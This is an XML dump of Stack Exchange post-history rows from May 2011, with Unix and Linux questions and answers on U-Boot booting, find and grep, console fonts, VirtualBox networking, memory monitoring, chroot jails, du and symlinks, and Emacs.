  <row Id="31771" PostHistoryTypeId="5" PostId="12901" RevisionGUID="214aea81-ee70-4eeb-a827-c37800dd3619" CreationDate="2011-05-09T19:42:09.937" UserId="1925" Comment="deleted 17 characters in body" Text="Kernel mounted the root file system but can not find any init script. I'm sure that script exists in my ramdisk.img!&#xD;&#xA;&#xD;&#xA;I also checked out [this][1] and GE863-PRO3 U-BOOT Software User Guide 1VV0300777 Rev. 6 – 2010-01-25.&#xD;&#xA;&#xD;&#xA;Any idea or alternative documentation?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;MY ENVIRONMENT: GE863-PRO3 128/64 version&#xD;&#xA;&#xD;&#xA;    U-Boot 1.2.0 (Aug 18 2010 - 12:16:10)- 221 Telit&#xD;&#xA;    &#xD;&#xA;    DRAM:  64 MB&#xD;&#xA;    &#xD;&#xA;    Bank #1&#xD;&#xA;    Flash:NAND Numonyx NAND01G-B2B 128MB 1.8V 8-bit&#xD;&#xA;    Hardware ECC (ECC data size = 512 bytes)&#xD;&#xA;    Nb min erasable unit:   1024&#xD;&#xA;    min erasable Size: 131072&#xD;&#xA;    Size=134217728 bytes&#xD;&#xA;    Logical address: 0x40000000&#xD;&#xA;    No bad block detected&#xD;&#xA;    Area 0: 40000000 to 403BFFFF (RO)  Primary Bootstrap&#xD;&#xA;    Area 1: 403C0000 to 4043FFFF (RO)  U-Boot code&#xD;&#xA;    Area 2: 40440000 to 404BFFFF (RO)  U-Boot Environment&#xD;&#xA;    Area 3: 404C0000 to 407BFFFF       User Area 1&#xD;&#xA;    Area 4: 407C0000 to 47FFFFFF       User Area 2&#xD;&#xA;&#xD;&#xA;U-BOOT COMMANDS:&#xD;&#xA;&#xD;&#xA;    setenv bootargs console=ttyS0,115200 mem=64M ver=4384k icofat=257k rootfstype=jffs2 root=/dev/mtdblock1 rw mtdparts=at91_nand:7936k(ARMboot)ro,-@7936k(root) init=/bin/busybox&#xD;&#xA;    ethinit 192.168.122.3&#xD;&#xA;    erase 404C0000 47FFFFFF&#xD;&#xA;    tftp 20200000 ramdisk.img&#xD;&#xA;    cp.b 20200000 0x407c0000 14cd78&#xD;&#xA;    tftp 20200000 uImage&#xD;&#xA;    bootm&#xD;&#xA;&#xD;&#xA;BOOT OUTPUT:&#xD;&#xA;&#xD;&#xA;    VFS: Mounted root (jffs2 filesystem).&#xD;&#xA;    Freeing init memory: 96K&#xD;&#xA;    Setting DMA Console&#xD;&#xA;    Failed to execute /bin/busybox.  Attempting defaults...&#xD;&#xA;    Kernel panic - not syncing: No init found.  Try passing init= option to kernel.&#xD;&#xA;    Function entered at [&lt;c01de28c&gt;] from [&lt;c01de304&gt;]&#xD;&#xA;    Function entered at [&lt;c01de2a0&gt;] from [&lt;c0020398&gt;]&#xD;&#xA;     r3:c3c1ac40 r2:c3c1ac40 r1:c3c1deb0 r0:c01c3cab&#xD;&#xA;    Function entered at [&lt;c00202dc&gt;] from [&lt;c00085e0&gt;]&#xD;&#xA;     r4:c020d2c0&#xD;&#xA;    Function entered at [&lt;c00083b8&gt;] from [&lt;c003a454&gt;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.denx.de/wiki/view/DULG/UBootCmdGroupFlash#Section_5.9.3.5" />
  <row Id="31772" PostHistoryTypeId="5" PostId="12902" RevisionGUID="ad976c7a-3181-4e7f-8255-7247d8ca349e" CreationDate="2011-05-09T19:43:40.970" UserId="1925" Comment="deleted 6 characters in body" Text="I'd like to find the files in the current directory that contain the text &quot;chrome&quot;.&#xD;&#xA;&#xD;&#xA;    $ find . -exec grep chrome&#xD;&#xA;    find: missing argument to `-exec'&#xD;&#xA;&#xD;&#xA;What am I doing wrong?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31773" PostHistoryTypeId="5" PostId="12907" RevisionGUID="def408a4-4787-490c-afdd-c535e88eb79f" CreationDate="2011-05-09T20:01:04.580" UserId="6761" Comment="more detail on mkinitcpio &amp; code tags; added 13 characters in body" Text="It depends on your distribution. &#xD;&#xA;&#xD;&#xA;In Arch Linux, once you have selected the font from &lt;code&gt;/usr/share/kbd/keymaps/&lt;/code&gt; that you would like to set, you need to add it to your &lt;code&gt;/etc/rc.conf&lt;/code&gt; like so:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;CONSOLEFONT=&quot;lat2-16&quot;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;and then add the consolefont hook to your /etc/mkinitcpio.conf&#xD;&#xA;&lt;pre&gt;&lt;code&gt;HOOKS=&quot;base udev autodetect pata scsi sata filesystems &lt;strong&gt;consolefont&lt;/strong&gt;&quot;&lt;/code&gt;&lt;/pre&gt; &#xD;&#xA;and regenerate the image:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;# mkinitcpio -p kernel26&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;In Ubuntu/Debian, select your font from &lt;code&gt;/usr/share/consolefonts/&lt;/code&gt; and then edit &lt;code&gt;/etc/default/console-setup&lt;/code&gt; and add an entry like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;CODESET=&quot;Lat15&quot;&#xD;&#xA;FONTFACE=&quot;Terminus&quot;&#xD;&#xA;FONTSIZE=&quot;16&quot;&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;and to make it permanent:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;sudo dpkg-reconfigure console-setup&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;References: &#xD;&#xA;Arch Wiki: https://wiki.archlinux.org/index.php/Fonts#Console_fonts&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31774" PostHistoryTypeId="6" PostId="12902" RevisionGUID="c107e557-bc67-4469-a19b-ec88b6b76f05" CreationDate="2011-05-09T20:11:03.693" UserId="885" Comment="edited tags" Text="éfindà" />
  <row Id="31775" PostHistoryTypeId="5" PostId="12834" RevisionGUID="470d69da-3ad8-4bfe-adbb-4dbc6a7e54f8" CreationDate="2011-05-09T20:25:34.427" UserId="1925" Comment="deleted 19 characters in body" Text="I want to install `rtorrent` as a client (NOT SeedBox). I tried the following command:&#xD;&#xA;&#xD;&#xA;    yum install rtorrent&#xD;&#xA;&#xD;&#xA;I get following message:&#xD;&#xA;&#xD;&#xA;    Loaded plugins: fastestmirror&#xD;&#xA;    Loading mirror speeds from cached hostfile&#xD;&#xA;     * base: centos.mirror.iweb.ca&#xD;&#xA;     * extras: centos.mirror.iweb.ca&#xD;&#xA;     * updates: centos.mirror.netelligent.ca&#xD;&#xA;    Excluding Packages in global exclude list&#xD;&#xA;    Finished&#xD;&#xA;    Setting up Install Process&#xD;&#xA;    No package rtorrent available.&#xD;&#xA;    Nothing to do&#xD;&#xA;&#xD;&#xA;I think it's because I do not have rtorrent at my repository. What should I do to add rtorrent to my repository? I tried `yum update` without any success." />
  <row Id="31776" PostHistoryTypeId="5" PostId="12885" RevisionGUID="7f1322ea-d663-460b-9ebc-59577bb14a56" CreationDate="2011-05-09T20:36:39.857" UserId="1925" Comment="deleted 4 characters in body" Text="Using Fedora or Ubuntu for the host with firewalls turned off on each side (vbox guest&amp;host), what do I have to do to reach the guest machine using a NAT interface just like it would be with a bridged interface? (Only from the vbox host!)&#xD;&#xA;&#xD;&#xA;**Update**: `ifconfig` on the host machine:&#xD;&#xA;&#xD;&#xA;	# ifconfig -a&#xD;&#xA;	eth0      Link encap:Ethernet  HWaddr 00:41:56:6B:78:4E  &#xD;&#xA;		  inet addr:192.168.1.2  Bcast:.192.168.1.255  Mask:255.255.255.0&#xD;&#xA;		  UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;		  RX packets:271850 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;		  TX packets:144494 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;		  collisions:0 txqueuelen:1000 &#xD;&#xA;		  RX bytes:256776500 (244.8 MiB)  TX bytes:10670238 (10.1 MiB)&#xD;&#xA;		  Interrupt:16 Memory:fc500000-fc520000 &#xD;&#xA;&#xD;&#xA;	lo        Link encap:Local Loopback  &#xD;&#xA;		  inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;		  UP LOOPBACK RUNNING  MTU:16436  Metric:1&#xD;&#xA;		  RX packets:77698 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;		  TX packets:77698 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;		  collisions:0 txqueuelen:0 &#xD;&#xA;		  RX bytes:104227086 (99.3 MiB)  TX bytes:104227086 (99.3 MiB)&#xD;&#xA;&#xD;&#xA;	vboxnet0  Link encap:Ethernet  HWaddr 0A:00:27:00:00:00  &#xD;&#xA;		  BROADCAST MULTICAST  MTU:1500  Metric:1&#xD;&#xA;		  RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;		  TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;		  collisions:0 txqueuelen:1000 &#xD;&#xA;		  RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)" />
  <row Id="31777" PostHistoryTypeId="2" PostId="12909" RevisionGUID="1544cf97-b1f7-4df9-bc3f-d66aa30fc9be" CreationDate="2011-05-09T20:51:57.373" UserId="885" Text="The first step would be to monitor memory usage. `top` can do that, but the Linux version is clumsy to set up. Make a copy of the `top` executable called `top-mem-chris`. Run it and set some reasonable parameters, at least sort by memory usage (`M`) and display only the first N tasks (`n 15`). Then have it generate a configuration file (`W`) `~/.top-mem-chrisrc`. For monitoring, run `top-mem-chris -b -d 5 &gt;~/log/top-mem-mainserver.log`. Alternatively, perhaps try [atsar](http://packages.debian.org/atsar), which looks suitable but I don't know beyond the description.&#xD;&#xA;" />
  <row Id="31778" PostHistoryTypeId="6" PostId="12906" RevisionGUID="6af62b0e-d4ec-41fd-ad82-c4c11239b3ee" CreationDate="2011-05-09T20:52:26.560" UserId="885" Comment="edited tags" Text="élinuxàédebianàémemoryàémonitoringàédebuggingà" />
  <row Id="31779" PostHistoryTypeId="25" PostId="12906" RevisionGUID="94172379-9a8a-47c8-88ef-d3ce16f14f75" CreationDate="2011-05-09T21:11:36.900" Comment="http://twitter.com/#!/StackUnix/status/67698255898755072" />
  <row Id="31780" PostHistoryTypeId="2" PostId="12910" RevisionGUID="bbf58a02-78c9-42b2-a9e8-59a5e13a1b38" CreationDate="2011-05-09T21:13:27.017" UserId="885" Text="In the kernel and on the filesystem, users and groups are identified purely through a number, the user ID or group ID. Names for users and groups are only for display convenience and higher-level applications.&#xD;&#xA;&#xD;&#xA;When you share a filesystem between several installations, I strongly advise to make sure that any user (or group) who exists on both systems has the same ID on both. That way, ownership of shared files will be the same in all installations. Many user administration GUIs don't let you choose IDs, so you may need to have to use the `adduser` command (or `addgroup`) instead.&#xD;&#xA;&#xD;&#xA;A user ID doesn't need to be registered in `/etc/passwd` to “exist”. It's just that files owned by this user would be shown with the user ID instead of a name in `ls` output and other places. (Similarly you can use `chown 1234 /path/to/file` to change a file's owner to any ID).&#xD;&#xA;&#xD;&#xA;With that in mind, the problem of sharing file ownership between different installations reduces to sharing files on a single installation. See [Permission of saved files](http://unix.stackexchange.com/questions/12842/permission-of-saved-files) for a discussion of that topic (advice: use ACLs).&#xD;&#xA;" />
  <row Id="31781" PostHistoryTypeId="6" PostId="12889" RevisionGUID="166f15dd-50a7-4378-956a-dfbb4d0d6bfa" CreationDate="2011-05-09T21:14:05.783" UserId="885" Comment="edited tags" Text="évimàéspellöcheckingà" />
  <row Id="31782" PostHistoryTypeId="5" PostId="12895" RevisionGUID="bbf01fb7-5696-49f9-bde2-62e019518016" CreationDate="2011-05-09T21:15:07.110" UserId="885" Comment="formatting" Text="In which directories should I place the following?  &#xD;&#xA;I have an application with few .net assemblies, a default database (containing default application settings), a directory with 100's of images, a directory for sounds (e.g. mp3's).&#xD;&#xA;&#xD;&#xA;e.g.  &#xD;&#xA;&#xD;&#xA;    somedir/myapp.exe  &#xD;&#xA;    somedir/myassembly1.dll  &#xD;&#xA;    somedir/myassembly2.dll  &#xD;&#xA;    &#xD;&#xA;    somedir/images/1/image1.png  &#xD;&#xA;    somedir/images/1/image2.png  &#xD;&#xA;    somedir/images/2/image1.png  &#xD;&#xA;    &#xD;&#xA;    somedir/sounds/1/sound1.mp3  &#xD;&#xA;    somedir/sounds/1/sound2.mp3  &#xD;&#xA;    somedir/sounds/2/sound1.mp3  &#xD;&#xA;&#xD;&#xA;A requirement is that I want to allow my user to replace the sounds and images as they see fit so basically that path (e.g. `/var` or `/usr`) should typically have write access to a normal user.&#xD;&#xA;" />
  <row Id="31783" PostHistoryTypeId="6" PostId="12885" RevisionGUID="a3a02ea5-1914-4f13-83f2-29e345761c30" CreationDate="2011-05-09T21:15:58.760" UserId="885" Comment="edited tags" Text="énetworkingàévirtualboxà" />
  <row Id="31784" PostHistoryTypeId="5" PostId="9854" RevisionGUID="2b8d2f77-2c79-496a-b6f3-def2088b742c" CreationDate="2011-05-09T21:31:43.827" UserId="885" Comment="bind mounts with different permissions requires a kernel patch" Text="A chroot is a reasonably simple method. Since the operating system already has this security feature, daemon writers tend not to attempt to reimplement it.&#xD;&#xA;&#xD;&#xA;[Rssh](http://www.pizzashack.org/rssh/) comes with a guide on setting up a chroot jail. It's in the [`CHROOT`](http://www.sdri.co.jp/rssh/CHROOT_en.html) file in the source distribution. In a nutshell, you need to have:&#xD;&#xA;&#xD;&#xA;* A few binaries, copied from the root: `/usr/bin/scp`, `/usr/libexec/openssh/sftp-server`, `/usr/bin/rssh_chroot_helper`&#xD;&#xA;* The libraries (`{/usr,}/lib/lib*.so.[0-9]`) that they use, likewise copied&#xD;&#xA;* A `/etc/passwd` (quite possibly not a copy but derived from the master)&#xD;&#xA;* A few devices: `/dev/null`, `/dev/tty`, and also a `/dev/log` socket for logging (and you need to tell your syslog daemon to listen on that socket)&#xD;&#xA;&#xD;&#xA;Extra tip that isn't in the rssh documentation: If you need some files to be accessible in a chroot jail, you can use [bindfs](http://code.google.com/p/bindfs) or Linux's `mount --bind` to make additional directory hierarchies from outside the jail. `bindfs` allows the remounted directory to have more restrictive permissions, for example read-only. (`mount --bind` doesn't unless you apply a kernel patch; Debian has included this patch since at east lenny but most other distributions haven't as of 2011.)&#xD;&#xA;" />
  <row Id="31785" PostHistoryTypeId="5" PostId="2929" RevisionGUID="f0521d76-d171-4fac-aac6-a95555ae05c3" CreationDate="2011-05-09T21:34:43.200" UserId="885" Comment="less is more" Text="Symbolic links do take room, of course, but just the room it takes to store the name and target plus a few bytes for other metadata. The space taken by a symbolic link does not depend on the space taken by the target (after all, the target is not even required to exist).&#xD;&#xA;&#xD;&#xA;Plain `du` reports the space taken by a directory tree on the disk. `du -L` reports the space that *would be* taken by a directory tree if all symbolic links were replaced by their target. The former is usually the useful information; for example, it's the space you'd recover if you deleted the tree, and it's (approximately) the space you need to back up the tree.&#xD;&#xA;&#xD;&#xA;`du` on a directory tree shows (usually) a little more than the total of the file sizes. That's due to two things. First, `du` also counts directories, which take a little room to store file names and metadata. Second, `du` counts the disk space taken by a file, which can be different from the file size: the most common effect is that files take up an integer number of blocks (4kB on a typical Linux installation), so a 1-byte file can show as 4kB in du output; but compression (such as the primitive form provided by [sparse files](http://en.wikipedia.org/wiki/Sparse_file) on just about every unix filesystem) can make the file size larger than its disk usage.&#xD;&#xA;&#xD;&#xA;From the numbers you give, it appears that Thunar reports the *sum of the sizes of the files in the directory tree, following symbolic links*. It's actually saying so in a subtle way — it's claiming that the total size is 570.3 kB, not that the disk usage is 570.3 kB. What is not at all apparent from the user interface or documentation is that Thunar follows symbolic links when computing the size.&#xD;&#xA;&#xD;&#xA;Which one is “right” is a subjective matter. `du` reports disk usage. Thunar reports total size following symbolic links. Creating a symbolic link has a negligible impact on disk usage, but by definition does change total-size-following-symbolic-links that Thunar reports.&#xD;&#xA;" />
  <row Id="31786" PostHistoryTypeId="5" PostId="12742" RevisionGUID="dca32f9e-619a-49f9-92e0-dd1c77be0314" CreationDate="2011-05-09T21:37:23.973" UserId="2594" Comment="typo" Text="First, you should probably remove /usr/ucb from your PATH as this directory is quite obsolete now. It was meant to ease people migrating from SunOS 4 to Solaris 2 a couple of decades ago but doesn't make much sense these days. Especially this cc commands which set specific flags to compile BSDish code.&#xD;&#xA;&#xD;&#xA;Second, all current Solaris releases comes with a C compiler out of the box but it is located in a directory which might not be in your PATH, /usr/sfw/bin and is named gcc (Gnu compiler).&#xD;&#xA;&#xD;&#xA;use `/usr/sfw/bin/gcc`&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    PATH=$PATH:/usr/sfw/bin&#xD;&#xA;    gcc&#xD;&#xA;&#xD;&#xA;Alternatively, you might have already installed (or you can install) the Solaris Studio compiler. In that case, its path would be &amp;lt;installation-dir&amp;gt;/bin/cc (eg: /opt/SUNWspro/bin/cc or /opt/SolarisStudio11/bin/cc etc ...)" />
  <row Id="31787" PostHistoryTypeId="2" PostId="12911" RevisionGUID="31388a06-7c2a-493a-8d57-f085beba9cf5" CreationDate="2011-05-09T22:03:03.763" UserId="6935" Text="Change `AuthName Spring projects` to `AuthName &quot;Spring projects&quot;`. The parameter needs to be in quotes if it has spaces." />
  <row Id="31788" PostHistoryTypeId="2" PostId="12912" RevisionGUID="8eb2b7fa-6129-4409-b7d7-c012586a3cd3" CreationDate="2011-05-09T22:23:28.333" UserId="2729" Text="[atop](http://atoptool.nl/) is pretty good at monitoring and logging resource usage. It can be used interactively or as a service; the [debian package](http://packages.debian.org/sid/atop) sets it to log to /var/log/atop.log every ten minutes (edit /etc/init.d/atop for something more precise). You can then replay the logs with `atop -r /var/log/atop.log -b hh:mm -mM`; mM selects a view and a sort appropriate for memory problems, hh:mm should be a few minutes before the incident, use tT to navigate. Also try the A sort." />
  <row Id="31789" PostHistoryTypeId="2" PostId="12913" RevisionGUID="fff1718c-6147-4317-bf49-68015c303bc2" CreationDate="2011-05-09T23:28:33.950" UserId="1879" Text="I'm evaluating tools for measuring network activity and although mrtg seems to be the most highly regarded, I'm really impressed by ntop.  Are they're any reasons that mrtg is preferred to ntop?" />
  <row Id="31790" PostHistoryTypeId="1" PostId="12913" RevisionGUID="fff1718c-6147-4317-bf49-68015c303bc2" CreationDate="2011-05-09T23:28:33.950" UserId="1879" Text="ntop versus mrtg" />
  <row Id="31791" PostHistoryTypeId="3" PostId="12913" RevisionGUID="fff1718c-6147-4317-bf49-68015c303bc2" CreationDate="2011-05-09T23:28:33.950" UserId="1879" Text="éutilitiesàénetworkingà" />
  <row Id="31792" PostHistoryTypeId="5" PostId="12913" RevisionGUID="5a810963-2a50-4480-a965-b40f2fae6ec5" CreationDate="2011-05-09T23:36:33.407" UserId="2421" Comment="link to projects; fix grammar" Text="I'm evaluating tools for measuring network activity and although [mrtg][1] seems to be the most highly regarded, I'm really impressed by [ntop][2].  Are there any reasons that mrtg is preferred to ntop?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oss.oetiker.ch/mrtg/&#xD;&#xA;  [2]: http://www.ntop.org/" />
  <row Id="31793" PostHistoryTypeId="2" PostId="12914" RevisionGUID="5b18f06f-8134-455c-931d-bc5de416a238" CreationDate="2011-05-10T00:10:21.543" UserId="7351" Text="Do you log number of active processes? If the system doesn't kill off memory hogs, it's more likely you're seeing a fork bomb (whether malicious or programming error)." />
  <row Id="31794" PostHistoryTypeId="25" PostId="12913" RevisionGUID="70f77ab4-3874-42ad-996d-e4eeda4d7be7" CreationDate="2011-05-10T00:11:37.457" Comment="http://twitter.com/#!/StackUnix/status/67743556453941248" />
  <row Id="31795" PostHistoryTypeId="2" PostId="12915" RevisionGUID="0fd4248e-2db1-4560-b04e-ace57ea5d357" CreationDate="2011-05-10T01:20:29.883" UserId="7353" Text="find . | xargs grep 'chrome'&#xD;&#xA;&#xD;&#xA;you can also do:&#xD;&#xA;&#xD;&#xA;find . | xargs grep 'chrome' -ls&#xD;&#xA;&#xD;&#xA;The first shows you the lines in the files, the second just lists the files.&#xD;&#xA;&#xD;&#xA;Caleb's option is neater, fewer keystrokes." />
  <row Id="31796" PostHistoryTypeId="2" PostId="12916" RevisionGUID="440d59b9-cc19-46d6-9164-c7ea159eb3aa" CreationDate="2011-05-10T01:51:16.917" UserId="5824" Text="They're very different beasts.&#xD;&#xA;&#xD;&#xA;Ntop is designed to watch network traffic at the packet level on interfaces.  It can only collect information from hosts that have the ability to run ntop and process the packets.&#xD;&#xA;&#xD;&#xA;MRTG, on the other-hand, collects information from a much larger variety of sources, typically over SNMP, and from a larger number of devices (because almost everything supports SNMP).  But, the type of information available is less exacting as detailed packet-parsing.&#xD;&#xA;&#xD;&#xA;So...  You really need to try both and decide which one gives you the information you're looking for.  And if you like both, then use both!" />
  <row Id="31797" PostHistoryTypeId="2" PostId="12917" RevisionGUID="2b57c414-a511-4b79-807b-b1ad99e56fd2" CreationDate="2011-05-10T03:04:15.373" UserId="2343" Text="This may not be what you expect, nor was if for me, but it works...  (btw: I've just started using Terminator, and so far I like it)..  &#xD;&#xA;&#xD;&#xA;A way to do it is to simply do this:  &#xD;&#xA;&#xD;&#xA;  * If your active cursor is already in the *Find box*, just keep pressing `Enter` for **Next**.... and for **Prev**, press `Tab` to make the `Prev button` active an then just keep pressing `Enter`... the `Prev button` stays active, so it locates backwards each time you press enter..   &#xD;&#xA;  * If your current active cursor in in the window body, just press Ctrl+Shift+F again, to get you bacm into the *Find box*, then just press Enter (next), or Tab, then Enter (prev).. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="31798" PostHistoryTypeId="25" PostId="12889" RevisionGUID="d794b14d-7687-42d1-a541-c647ba98cf24" CreationDate="2011-05-10T03:11:38.450" Comment="http://twitter.com/#!/StackUnix/status/67788860054188032" />
  <row Id="31799" PostHistoryTypeId="5" PostId="12917" RevisionGUID="eacdb8e6-a856-4f3a-b32c-47e737e7aca8" CreationDate="2011-05-10T03:19:49.167" UserId="2343" Comment="added 147 characters in body; added 6 characters in body" Text="This may not be what you expect, nor was if for me, but it works...  (btw: I've just started using Terminator, and so far I like it)..  &#xD;&#xA;&#xD;&#xA;A way to do it is to simply do this:  &#xD;&#xA;&#xD;&#xA;  * If your active cursor is already in the *Find box*, just keep pressing `Enter` for **Next**.... and for **Prev**, press `Tab` to make the `Prev button` active an then just keep pressing `Enter`... the `Prev button` stays active, so it locates backwards each time you press enter..   &#xD;&#xA;  * If your current active cursor in in the window body, just press Ctrl+Shift+F again, to get you back into the *Find box*, then just press Enter (next), or Tab, then Enter (prev).. &#xD;&#xA;&#xD;&#xA;Also, you can switch between buttons, to reverse the search direction, via the Left and Right cursor(arrow) keys (I find that easier than Shift-Tab) ... " />
  <row Id="31800" PostHistoryTypeId="5" PostId="12917" RevisionGUID="4d1ff9c2-2827-4be7-a52e-6703c1efae44" CreationDate="2011-05-10T03:44:20.457" UserId="2343" Comment="added 20 characters in body" Text="This may not be what you expect, nor was if for me, but it works (no mouse required)...  (btw: I've just started using Terminator, and so far I like it)..  &#xD;&#xA;&#xD;&#xA;A way to do it is to simply do this:  &#xD;&#xA;&#xD;&#xA;  * If your active cursor is already in the *Find box*, just keep pressing `Enter` for **Next**.... and for **Prev**, press `Tab` to make the `Prev button` active an then just keep pressing `Enter`... the `Prev button` stays active, so it locates backwards each time you press enter..   &#xD;&#xA;  * If your current active cursor in in the window body, just press Ctrl+Shift+F again, to get you back into the *Find box*, then just press Enter (next), or Tab, then Enter (prev).. &#xD;&#xA;&#xD;&#xA;Also, you can switch between buttons, to reverse the search direction, via the Left and Right cursor(arrow) keys (I find that easier than Shift-Tab) ... " />
  <row Id="31801" PostHistoryTypeId="2" PostId="12918" RevisionGUID="74ed45c8-1786-477c-b15c-bdefb765c74d" CreationDate="2011-05-10T04:31:14.530" UserId="2343" Text="I've been *looking* at GNU Emacs for a few months now, on and off (mainly off), and I've really only gone as far as testing a few basic things which I especially want in an editor...  I'm slowly getting to realize its topography, and it is starting to make (good) sense.... &#xD;&#xA;&#xD;&#xA;The main thing I've noticed is that it *seems* to work exactly the same in the X-GUI version as it does in the X-Terminal version (and I suspect it would be pretty much the same in a non-GUI environment...  &#xD;&#xA;&#xD;&#xA;I originally thought that I would feel very uncomfortable working in a non-GUI editor, and that has been the case, but the more I dabble in the Emacs waters, the less significant that **need** becomes...  so I am now looking at it from the other end of the stick... I'm turning my focus to working primarily in the Terminal version..  &#xD;&#xA;&#xD;&#xA;My question is: Aside from the obvious GUI-menu (which has turned out to be more of a hinderance than a help), is there any notable difference between the versions  (X-GUI, X-Terminal, and no-GUI) ?*    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31802" PostHistoryTypeId="1" PostId="12918" RevisionGUID="74ed45c8-1786-477c-b15c-bdefb765c74d" CreationDate="2011-05-10T04:31:14.530" UserId="2343" Text="GNU Emacs; Does the GUI version offer anything more than the ability to have a GUI menu?" />
  <row Id="31803" PostHistoryTypeId="3" PostId="12918" RevisionGUID="74ed45c8-1786-477c-b15c-bdefb765c74d" CreationDate="2011-05-10T04:31:14.530" UserId="2343" Text="éeditorsàéemacsà" />
  <row Id="31804" PostHistoryTypeId="5" PostId="12918" RevisionGUID="51e0e405-f165-4710-9d7b-f680f36e729c" CreationDate="2011-05-10T04:37:16.710" UserId="2343" Comment="deleted 15 characters in body" Text="I've been *looking* at GNU Emacs for a few months now, on and off (mainly off), and I've really only gone as far as testing a few basic things which I especially want in an editor...  I'm slowly getting to realize its topography, and it is starting to make (good) sense.... &#xD;&#xA;&#xD;&#xA;The main thing I've noticed is that it *seems* to work exactly the same in the X-GUI version as it does in the X-Terminal version (and I suspect it would be pretty much the same in a non-GUI environment...  &#xD;&#xA;&#xD;&#xA;I originally thought that I would feel very uncomfortable working in a non-GUI editor, and that has been the case, but the more I dabble in the Emacs waters, the less significant that **need** becomes...  so I am now looking at it from the other end of the stick... I'm turning my focus to working primarily in the Terminal version..  &#xD;&#xA;&#xD;&#xA;My question is: Aside from the obvious GUI-menu (which has turned out to be quite unnecessary), is there any notable difference between the versions  (X-GUI, X-Terminal, and no-GUI) ?*    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31805" PostHistoryTypeId="2" PostId="12919" RevisionGUID="bf0d1fef-7276-4954-86ae-2a21995da8b7" CreationDate="2011-05-10T06:10:16.623" UserId="1925" Text="In a word: No.&#xD;&#xA;&#xD;&#xA;The GUI is just a convenience layer of menus and such that allow you to see some of the tools you have at your disposal at a glance and click to activate, but it is just an alternate interface to the same program. The only things that could be considered additional &quot;features&quot; are the integration with the environment. Copy/paste, drag and drop files to the window to open, things like that.&#xD;&#xA;&#xD;&#xA;The same goes for `vim` vs `gvim`. The program is the same, the window is a fancy wrapper on the same horsepower." />
  <row Id="31806" PostHistoryTypeId="25" PostId="12918" RevisionGUID="750d1246-a497-45f2-8b9d-2be895ad35a1" CreationDate="2011-05-10T06:11:39.167" Comment="http://twitter.com/#!/StackUnix/status/67834161129455617" />
  <row Id="31807" PostHistoryTypeId="5" PostId="12915" RevisionGUID="adab4298-aaf2-41be-b93d-dc650587e943" CreationDate="2011-05-10T06:31:03.617" UserId="885" Comment="formatting" Text="    find . | xargs grep 'chrome'&#xD;&#xA;&#xD;&#xA;you can also do:&#xD;&#xA;&#xD;&#xA;    find . | xargs grep 'chrome' -ls&#xD;&#xA;&#xD;&#xA;The first shows you the lines in the files, the second just lists the files.&#xD;&#xA;&#xD;&#xA;Caleb's option is neater, fewer keystrokes." />
  <row Id="31808" PostHistoryTypeId="2" PostId="12920" RevisionGUID="4b05f649-106e-4e08-81e9-46509b3bbdbe" CreationDate="2011-05-10T07:02:42.907" UserId="3297" Text="How do I get list of files (and then do something with that list) by filtering through the symbolic link *target* name, and not the symlink name? For example from the following list I'm only interested in the first four files (target contains `bar`):&#xD;&#xA;&#xD;&#xA;    foo -&gt;  /tmp/bar&#xD;&#xA;    bar -&gt;  /home/me/bartoo&#xD;&#xA;    baz -&gt;  /home/me/public/barthree&#xD;&#xA;    zoo -&gt;  /usr/share/bar&#xD;&#xA;    moo -&gt;  /tmp/foo&#xD;&#xA;    roc -&gt;  /tmp/roc&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31809" PostHistoryTypeId="1" PostId="12920" RevisionGUID="4b05f649-106e-4e08-81e9-46509b3bbdbe" CreationDate="2011-05-10T07:02:42.907" UserId="3297" Text="list files by symlink target" />
  <row Id="31810" PostHistoryTypeId="3" PostId="12920" RevisionGUID="4b05f649-106e-4e08-81e9-46509b3bbdbe" CreationDate="2011-05-10T07:02:42.907" UserId="3297" Text="éfindàélsàéwildcardsà" />
  <row Id="31811" PostHistoryTypeId="2" PostId="12921" RevisionGUID="2de53dbe-0501-4687-a748-fbc54ee813e6" CreationDate="2011-05-10T07:12:48.807" UserId="1925" Text="You can use find to fetch all files of type symlink and add the `-ilname` option to search by name of the link destination. This works just like `-iname` but for the link target name instead of the link name.&#xD;&#xA;&#xD;&#xA;    find -type l -ilname bar&#xD;&#xA;&#xD;&#xA;That will still print out the name of the link, not the target. If you want to print the names of the targets, try this:&#xD;&#xA;&#xD;&#xA;    find -type l -ilname bar -printf &quot;%l\n&quot;&#xD;&#xA;&#xD;&#xA;You could also just print out all the targets and use grep:&#xD;&#xA;&#xD;&#xA;    find -type l -printf &quot;%l\n&quot; | grep bar" />
